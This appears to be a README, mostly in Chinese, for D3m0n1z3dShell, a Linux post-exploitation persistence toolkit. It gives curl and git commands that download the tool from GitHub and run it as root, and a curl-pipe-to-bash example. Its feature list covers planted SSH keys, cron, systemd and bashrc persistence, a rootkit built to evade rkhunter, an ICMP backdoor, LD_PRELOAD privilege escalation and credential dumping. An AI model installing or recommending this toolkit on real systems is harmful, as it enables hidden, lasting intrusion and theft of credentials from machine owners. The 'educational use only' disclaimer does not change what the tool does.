「😈」关于 D3m0n1z3dShell

Demonized Shell 是一个用于 Linux 持久化的高级工具。

Install

git clone https://github.com/MatheuZSecurity/D3m0n1z3dShell.git
cd D3m0n1z3dShell
chmod +x demonizedshell.sh
sudo ./demonizedshell.sh

One-Liner Install

Download D3m0n1z3dShell with all files:

curl -L https://github.com/MatheuZSecurity/D3m0n1z3dShell/archive/main.tar.gz | tar xz && cd D3m0n1z3dShell-main && sudo ./demonizedshell.sh

Load D3m0n1z3dShell statically (without the static-binaries directory):

sudo curl -s https://raw.githubusercontent.com/MatheuZSecurity/D3m0n1z3dShell/main/static/demonizedshell_static.sh -o /tmp/demonizedshell_static.sh && sudo bash /tmp/demonizedshell_static.sh

Demonized 功能

• 为所有用户自动生成 SSH 密钥对
• APT 持久化
• Crontab 持久化
• Systemd 用户级别
• Systemd Root 级别
• Bashrc 持久化
• 特权用户和 SUID bash
• 修改过的 LKM Rootkit，绕过 rkhunter。
• 带有文件编码器的 LKM Rootkit。持久的 ICMP 后门及其他功能。
• ICMP 后门
• LD_PRELOAD 设置权限提升
• 用于进程监控、凭据转储、枚举、恶搞等用途的静态二进制文件。

待开发功能

• 进程注入
• 安装示例：curl github.com/test/test/demonized.sh | bash
• 静态 D3m0n1z3dShell
• ELF/Rootkit 反逆向技术
• PAM 后门
• rc.local 持久化
• init.d 持久化
• motd 持久化
• 通过 ACL 实现持久化
• 可选进程名的反向 Shell
• Udev 持久化
• 重启后的 LKM Rootkit 持久化

以及其他未来将会添加的功能。

贡献

如果你想为此工具做出贡献，请在 Twitter 上联系我：@MatheuzSecurity

注意事项

我们不对因使用此工具造成的任何损害负责，请明智地使用该工具，仅用于教育目的。